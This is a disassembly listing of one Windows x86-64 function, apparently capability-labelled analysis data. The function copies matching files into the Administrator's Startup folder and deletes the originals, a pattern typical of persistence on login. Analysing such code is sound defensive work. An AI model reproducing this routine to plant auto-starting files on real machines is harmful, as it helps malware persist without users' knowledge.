Function at 0x1400a5d90
Capabilities:
Copy file
Delete file

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x890
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x8e8], rbx
mov rax, qword [0x1403a0088]
xor rax, rsp
mov qword [rsp + 0x880], rax
mov r12, r8
mov r13, rdx
mov rsi, rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov r14d, edi
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x250]
call fcn.1402767a0
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x40]
call fcn.1402767a0
test r13, r13
je 0x1400a605b
test r12, r12
je 0x1400a605b
mov r15, qword [r13 + 0x480]
mov rbp, qword [r13 + 0x488]
mov r9, r15
lea r8, [0x140333a08]
mov edx, 0x104
lea rcx, [rsp + 0x250]
call fcn.14004e9f0
test rbp, rbp
je 0x1400a5e6b
mov rdx, r15
mov rcx, rbp
call fcn.1402779b8
test eax, eax
je 0x1400a5e6b
mov r9, rbp
lea r8, [0x1403339f8]
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.14004e9f0
jmp 0x1400a5e6e
mov rbp, rdi
mov rbx, qword [rsi]
mov rax, qword [rsi + 8]
sub rax, rbx
sar rax, 5
test rax, rax
je 0x1400a6027
cmp rbx, qword [rsi + 8]
je 0x1400a6027
nop
cmp qword [rbx + 0x18], 8
jb 0x1400a5e9c
mov rcx, qword [rbx]
jmp 0x1400a5e9f
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test rax, rax
je 0x1400a5edc
lea rdx, [0x140333ae8]
mov rcx, rax
call fcn.1402779b8
test eax, eax
jne 0x1400a5edc
cmp qword [rbx + 0x18], 8
jb 0x1400a5ec9
mov rcx, qword [rbx]
jmp 0x1400a5ecc
mov rcx, rbx
mov r8, r12
mov rdx, r13
call fcn.1400a4860
jmp 0x1400a6017
test rbp, rbp
je 0x1400a5f07
cmp qword [rbx + 0x18], 8
jb 0x1400a5eed
mov rcx, qword [rbx]
jmp 0x1400a5ef0
mov rcx, rbx
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathMatchSpecExW]
test eax, eax
jne 0x1400a5f07
mov rdi, rbp
jmp 0x1400a5f3b
test r15, r15
je 0x1400a6017
cmp qword [rbx + 0x18], 8
jb 0x1400a5f1c
mov rcx, qword [rbx]
jmp 0x1400a5f1f
mov rcx, rbx
xor r8d, r8d
lea rdx, [rsp + 0x250]
call qword [sym.imp.SHLWAPI.dll_PathMatchSpecExW]
test eax, eax
jne 0x1400a6017
mov rdi, r15
test rdi, rdi
je 0x1400a6017
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x670]
call fcn.1402767a0
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x460]
call fcn.1402767a0
or rax, 0xffffffffffffffff
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400a5f72
shl rax, 5
add rax, rbx
mov qword [rsp + 0x20], rax
mov r9, r12
lea r8, [0x140333ad8]
mov edx, 0x104
lea rcx, [rsp + 0x670]
call fcn.14004e9f0
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400a5fb0
shl rax, 5
add rax, rbx
mov qword [rsp + 0x20], rax
lea r9, str.X:UsersAdministratorAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
lea r8, [0x140333ac8]
mov edx, 0x104
lea rcx, [rsp + 0x460]
call fcn.14004e9f0
xor r8d, r8d
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x670]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov r14d, eax
cmp qword [rbx + 0x18], 8
jb 0x1400a600e
mov rcx, qword [rbx]
jmp 0x1400a6011
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
add rbx, 0x20
cmp rbx, qword [rsi + 8]
jne 0x1400a5e90
xor edi, edi
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400a6056
mov rdx, qword [rsi + 8]
call fcn.140056290
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
sub r8, rdx
sar r8, 5
call fcn.140056110
mov qword [rsi], rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
mov eax, r14d
jmp 0x1400a608c
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400a608a
mov rdx, qword [rsi + 8]
call fcn.140056290
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
sub r8, rdx
sar r8, 5
call fcn.140056110
mov qword [rsi], rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
xor eax, eax
mov rcx, qword [rsp + 0x880]
xor rcx, rsp
call fcn.140125a70
mov rbx, qword [rsp + 0x8e8]
add rsp, 0x890
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret